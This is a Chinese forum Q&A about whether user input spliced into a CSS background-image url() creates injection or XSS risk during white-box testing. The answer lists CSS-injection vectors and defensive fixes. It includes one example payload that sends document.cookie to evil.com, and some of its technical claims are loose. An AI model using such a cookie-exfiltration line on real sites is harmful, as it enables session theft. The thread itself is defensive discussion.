白盒测试时如何判断CSS会不会引发安全问题?

Mc.莉娜 阅读 45

最近在做Web安全的白盒测试,看到项目里有一段动态生成的CSS,担心会不会有XSS风险。虽然CSS本身不能执行JS,但听说某些属性比如url()或者@import可能被利用,是不是真的?

比如下面这段代码,用户输入的内容会拼接到background-image里:

.user-card {
  background-image: url("{{ userAvatarUrl }}");
  border: 1px solid #ccc;
  padding: 10px;
}

我试过把{{ userAvatarUrl }}替换成javascript:alert(1),浏览器好像没执行,但不确定是不是所有情况都安全。这种写法到底算不算漏洞?需要转义吗?

我来解答 赞 14 收藏
二维码
手机扫码查看
1 条解答
康康 Dev
你试的javascript:alert(1)确实不会执行,现代浏览器早就把这条路堵死了。不过说完全安全那是扯淡,CSS注入坑多的是。

先说你的场景

background-image的url()里用javascript:伪协议,在Chrome、Firefox、Safari里都翻不起浪。但你得确认一件事——用户输入的内容是不是真的只在这个url()里面?有没有可能突破出去跑到HTML里?

如果{{ userAvatarUrl }}没被正确转义,用户输入 "> 这种东西,假设它被直接插到HTML属性里,那就真中奖了。

CSS注入的几种玩法

expression()和behavior这种IE老黄历不提了,现在主要防几个:

一是CSS变量渗透。如果你的CSS用了var(--xxx)这种变量,用户输入 --color: red; background: url(http://evil.com/?data=${document.cookie}) 这种,能把你整个页面的CSS变量污染个遍,虽然不能直接执行JS,但可以偷数据搞侧信道攻击。

二是data:协议。用户如果能控制url()内容,弄个 data:text/html, 进去,在某些老版本浏览器或者特定上下文里可能翻车。

三是SVG搞事情。如果CSS背景图指向SVG文件,SVG里可以内嵌script标签,这个是真实存在过的漏洞。

怎么修

最靠谱的做法是对用户输入做URL协议白名单,只允许http、https、data(谨慎),把javascript:、data:这种直接拉黑。输出到CSS之前做URL编码,特别是引号和括号这些敏感字符。

如果用WordPress的话,esc_url()这个函数可以看看,它会帮你过滤掉危险协议。不过最关键的还是确认你的模板引擎到底是怎么输出这个变量的——是直接拼接还是用了转义函数,这个才是决定性的。
点赞
2026-03-19 06:00